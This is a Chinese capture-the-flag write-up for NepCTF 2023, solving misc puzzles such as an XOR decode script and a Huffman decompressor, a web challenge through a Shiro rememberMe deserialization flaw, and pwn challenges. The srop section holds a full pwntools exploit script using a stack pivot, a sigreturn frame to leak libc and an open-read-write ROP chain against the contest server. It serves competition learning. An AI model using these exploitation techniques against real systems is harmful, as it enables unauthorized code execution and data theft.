Nepctf2023 WP

misc:

Checkin:

签到题直接交

陌生的语言:

根据提示可以搜到小魔女学园,搜索里面的语言发现有个帖子:

image-20230729173700154

古龙语和新月文字,

image-20230812221001806

image-20230812221001806

对照得到:

NepCTF{NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC}

小叮弹钢琴:

音频放大得到一串十六进制数,但不知道咋用,前面还有一串不知道是啥

image-20230812222137422

听完之后明显的摩斯密码解码:

-.– — ..- … …. — ..- .-.. -.. ..- … . - …. .. … - — -..- — .-. … — – . - …. .. -. –.

image-20230812222102385

说明得去异或一下,但得转为小写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import binascii
x='370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17'
a=0
n='youshouldusethistoxorsomething'
z=b''
for i in range(len(n)):
str=x[a:a+2]
# print(str)
w=int(binascii.b2a_hex(n[i].encode()), 16) ^ int(str, 16)
z+=binascii.a2b_hex(hex(w)[2:])
print(binascii.a2b_hex(hex(w)[2:]))
a+=2

print(z)

image-20230813201138882

flag:NepCTF{h4ppy_p14N0}

ConnectedFive:

五子棋,后面看了是送分题才去做,先拿到42个五连就给flag:

image-20230813234341244

与AI共舞的哈夫曼:

emmmm,根据描述直接chatgpt:

image-20230813225212776

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import heapq
import os

class HuffmanNode:
def __init__(self, char, freq):
self.char = char
self.freq = freq
self.left = None
self.right = None

def __lt__(self, other):
return self.freq < other.freq

def build_huffman_tree(frequencies):
heap = [HuffmanNode(char, freq) for char, freq in frequencies.items()]
heapq.heapify(heap)

while len(heap) > 1:
left = heapq.heappop(heap)
right = heapq.heappop(heap)
merged = HuffmanNode(None, left.freq + right.freq)
merged.left = left
merged.right = right
heapq.heappush(heap, merged)

return heap[0]

def build_huffman_codes(node, current_code, huffman_codes):
if node is None:
return

if node.char is not None:
huffman_codes[node.char] = current_code
return

build_huffman_codes(node.left, current_code + '0', huffman_codes)
build_huffman_codes(node.right, current_code + '1', huffman_codes)

def compress(input_file, output_file):
with open(input_file, 'rb') as f:
data = f.read()

frequencies = {}
for byte in data:
if byte not in frequencies:
frequencies[byte] = 0
frequencies[byte] += 1

root = build_huffman_tree(frequencies)
huffman_codes = {}
build_huffman_codes(root, '', huffman_codes)

compressed_data = ''
for byte in data:
compressed_data += huffman_codes[byte]

padding = 8 - len(compressed_data) % 8
compressed_data += '0' * padding

with open(output_file, 'wb') as f:
# Write frequency information
f.write(bytes([len(frequencies)]))
for byte, freq in frequencies.items():
f.write(bytes([byte, (freq >> 24) & 0xFF, (freq >> 16) & 0xFF, (freq >> 8) & 0xFF, freq & 0xFF]))

# Write compressed data
for i in range(0, len(compressed_data), 8):
byte = compressed_data[i:i+8]
f.write(bytes([int(byte, 2)]))

def decompress(input_file, output_file):
with open(input_file, 'rb') as f:
# Read frequency information
num_symbols = ord(f.read(1))
frequencies = {}
for _ in range(num_symbols):
byte = ord(f.read(1))
freq = (ord(f.read(1)) << 24) | (ord(f.read(1)) << 16) | (ord(f.read(1)) << 8) | ord(f.read(1))
frequencies[byte] = freq

# Rebuild Huffman tree
root = build_huffman_tree(frequencies)

# Read compressed data
compressed_data = ''
while True:
byte = f.read(1)
if not byte:
break
compressed_data += format(ord(byte), '08b')

# Decode the compressed data using the Huffman tree
decoded_data = ''
node = root
for bit in compressed_data:
if bit == '0':
node = node.left
else:
node = node.right

if node.char is not None:
decoded_data += chr(node.char)
node = root

# Write the decompressed data to the output file
with open(output_file, 'w') as f:
f.write(decoded_data)

if __name__ == "__main__":
input_file = 'input.txt'
compressed_file = 'compressed.bin'
decompressed_file = 'decompressed.txt'

# 压缩文件
# compress(input_file, compressed_file)

# 解压缩文件
decompress(compressed_file, decompressed_file)

image-20230813234616952

Web:

ez_java_checkin:

burpsuit抓包能看到有个rememberme,直接网上搜,说是可能shiro漏洞,直接安装一个自动化工具命令执行。自动化工具一把梭哈(不过构造链构造一半就断了只能手动构造。。。):

image-20230813201653819

image-20230813201728655

不能直接cat /flag,只能cat其他的看看,最后在start.sh找到flag:
image-20230813201802555

Pwn:

HRP-CHAT-3:

查看源码可以看到拿到H3h3QAQ这个角色,然后使用1技能就能把boss的血打成负数拿flag,直接RollCard抽到”H3h3QAQ“就可以了:

image-20230813201802555

srop:

题目写着srop,而且有个”mov rax,0xf“(虽然没啥用),所以得知得使用srop,然后开了沙箱,得使用orw(半夜做的,exp写得有点乱,请见谅)

先使用栈迁移跳转到一个可写段,以便后续可以控制rsp的值

跳转过去后使用srop构造write(1,syscall_got,0x30)泄露libc基地址,要注意的是syscall_plt会将rdi赋值给rax,所以将rdi赋值为0xf即可触发srop,泄露后再返回那个可写段构造orw即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
#context.terminal = ['tmux', 'splitw', '-h']
p=process('./srop')
p=remote('nepctf.1cepeak.cn',30689)
elf=ELF('./srop')
libc=ELF('./libc-2.27.so')

sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
s = lambda a:p.send(a)
sl = lambda a:p.sendline(a)
ru = lambda s:p.recvuntil(s)
rc = lambda s:p.recv(s)
uu64=lambda data :u64(data.ljust(8,b'\x00'))
get_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
plo = lambda o:p64(libc_base+o)

main=0x40078D
syscall_addr=0x400751
rdi=0x0000000000400813
ret=0x000000000040056e
syscall_got=elf.got['syscall']
syscall_plt=elf.plt['syscall']


rdx=0x601200
#payload=b'a'*0x38+p64(rdi)+p64(0xf)+p64(syscall_plt)+bytes(frame)
payload=b'a'*0x30+p64(rdx+0x20)+p64(main)
#gdb.attach(p)
#pause()
sla('NepCTF2023!\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00',payload)

success('syscall:'+hex(syscall_got))
syscall_ret=0x4007A8
target_addr=0x40075B
frame=SigreturnFrame()
frame.rsi=1
frame.rdi=1
frame.rdx=syscall_got
frame.rcx=0x30
frame.rip=syscall_plt
frame.rsp=0x601200
frame.rbp=0x601220

payload=p64(main)*4
payload=payload.ljust(0x30,b'\x00')
payload+=p64(rdx+0x20)+p64(rdi)+p64(0xf)+p64(syscall_plt)+bytes(frame)
#gdb.attach(p)
#pause()
sl(payload)
syscall_addr=get_libc()
libc_base=syscall_addr-libc.symbols['syscall']
success('libc_base:'+hex(libc_base))
flag_addr=0x6011f8
read=libc_base+libc.symbols['read']
write=libc_base+libc.symbols['write']
open_addr=libc_base+libc.symbols['open']
success('read:'+hex(read))
success('write:'+hex(write))
success('open_addr:'+hex(open_addr))
rax=libc_base+0x000000000001b500
rsi=libc_base+0x0000000000023a6a
rdx=libc_base+0x0000000000001b96
syscall=libc_base+1160503
#rdi=libc_base+0x000000000002164f
payload1=b'./flag\x00\x00'*2+p64(rax)+p64(2)+p64(rdi)+p64(flag_addr)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(syscall)+p64(rdi)+p64(3)+p64(rsi)+p64(0x601100)+p64(rdx)+p64(0x50)+p64(rax)+p64(0)+p64(syscall)+p64(rdi)+p64(1)+p64(rax)+p64(1)+p64(write)
#gdb.attach(p)
#pause()
sl(payload1)
p.interactive()

image-20230813201802555